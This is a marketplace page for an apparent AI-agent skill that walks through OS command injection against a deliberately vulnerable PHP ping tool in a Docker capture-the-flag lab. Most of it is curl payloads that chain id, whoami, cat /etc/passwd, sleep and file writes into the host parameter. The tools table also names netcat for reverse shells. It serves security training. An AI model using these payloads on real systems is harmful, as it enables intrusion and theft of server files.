# Exploiting Command Injection Vulnerabilities

> Identify and exploit OS command injection vulnerabilities in web applications where user-supplied input is passed unsanitized to a shell command. Covers in-band, blind, and out-of-band command injection techniques against deliberately vulnerable targets in isolated lab environments.

- Skill: `withcrux/exploiting-command-injection-vulnerabilities` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add withcrux/exploiting-command-injection-vulnerabilities`
- Raw SKILL.md: https://api.skillmd.com/api/skills/withcrux/exploiting-command-injection-vulnerabilities/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- License: Apache-2.0
- Author: withcrux (https://skillmd.com/u/withcrux)
- Updated: 2026-09-22
- Page: https://skillmd.com/skills/withcrux/exploiting-command-injection-vulnerabilities

---


> **Educational Use Only** — All techniques described here must only be used in authorized, isolated lab environments. Never use against systems you do not own or have explicit written permission to test.

## When to Use

Use this skill during web application penetration tests when an endpoint appears to invoke a system command with user-controlled input (e.g., ping utilities, file converters, DNS lookup tools). It applies in CTF challenges where remote code execution is required to read flag files from the server's filesystem. It is a prerequisite before studying server-side template injection and other RCE primitives.

## Prerequisites

- Docker and Docker Compose installed on the host machine
- Basic Linux command-line knowledge (`ls`, `cat`, `id`, `whoami`)
- Understanding of how web applications pass parameters to backend processes
- Lab: `labs/web-application/command-injection` — start with `agentlab start command-injection`

## Workflow

### Step 1: Start the Lab Environment

Launch the vulnerable PHP web application that exposes a network diagnostic tool passing user input to a shell `ping` command.

```bash
agentlab start command-injection
# App runs at http://localhost:8080 inside the Docker network
# Attacker shell: agentlab exec command-injection bash
```

### Step 2: Identify the Injection Point

Interact with the application normally to understand expected input, then probe for shell metacharacters.

```bash
# Normal usage — ping a host
curl "http://target:80/ping?host=127.0.0.1"

# Probe with semicolon to chain a second command
curl "http://target:80/ping?host=127.0.0.1;id"

# Try other separators if semicolons are filtered
curl "http://target:80/ping?host=127.0.0.1|id"
curl "http://target:80/ping?host=127.0.0.1%26%26id"
```

### Step 3: Confirm In-Band Command Injection

If output from the injected command appears in the HTTP response, the injection is in-band.

```bash
# Confirm with whoami
curl "http://target:80/ping?host=127.0.0.1;whoami"

# Read /etc/passwd to enumerate system users
curl "http://target:80/ping?host=127.0.0.1;cat%20/etc/passwd"

# List web root for flag files
curl "http://target:80/ping?host=127.0.0.1;ls%20/var/www/html"
```

### Step 4: Test for Blind Command Injection

When the application returns no command output, use time delays or out-of-band channels to confirm injection.

```bash
# Time-based: inject a 5-second sleep and measure response time
time curl "http://target:80/ping?host=127.0.0.1;sleep%205"

# Out-of-band: write output to a web-accessible file
curl "http://target:80/ping?host=127.0.0.1;id%20>%20/var/www/html/out.txt"
curl "http://target:80/out.txt"
```

### Step 5: Capture the Flag

Read the flag file from the server filesystem using the confirmed injection vector.

```bash
# Locate the flag
curl "http://target:80/ping?host=127.0.0.1;find%20/%20-name%20flag.txt%202>/dev/null"

# Read it
curl "http://target:80/ping?host=127.0.0.1;cat%20/flag.txt"
```

### Step 6: Verify Results

Submit the captured flag to complete the lab challenge.

```bash
agentlab verify command-injection "FLAG{...}"
```

## Key Concepts

- **Command Injection**: A vulnerability class where user input is incorporated into a shell command without proper sanitization, allowing arbitrary OS command execution.
- **Shell Metacharacters**: Characters such as `;`, `|`, `&&`, `` ` ``, `$()` that the shell interprets as command separators or substitution operators.
- **In-Band Injection**: The injected command's output is returned directly in the HTTP response body, making exploitation straightforward.
- **Blind Command Injection**: The application gives no direct output; the attacker infers success via time delays or out-of-band data exfiltration channels.
- **Input Sanitization**: The correct defense — pass user input only as arguments to execve/subprocess with a fixed command array, never interpolating into a shell string.

## Tools

| Tool | Purpose | Install |
|------|---------|---------|
| `curl` | Craft and send HTTP requests with injected payloads | `apt install curl` |
| `Burp Suite` | Intercept and fuzz HTTP parameters interactively | Manual install |
| `commix` | Automated command injection detection and exploitation | `apt install commix` |
| `nc` (netcat) | Establish reverse shells from the victim server | `apt install netcat-openbsd` |

## Output

On success, you should observe:
- The `id` or `whoami` command output appearing inside the HTTP response body
- Filesystem listing (`ls`, `find`) confirming access to server directories
- Contents of `/flag.txt` or equivalent flag file returned in the response
- Flag captured in the format `FLAG{...}`

---

*All labs referenced in this skill run in isolated Docker environments with `internal: true` networks. No internet access. Educational use in authorized environments only.*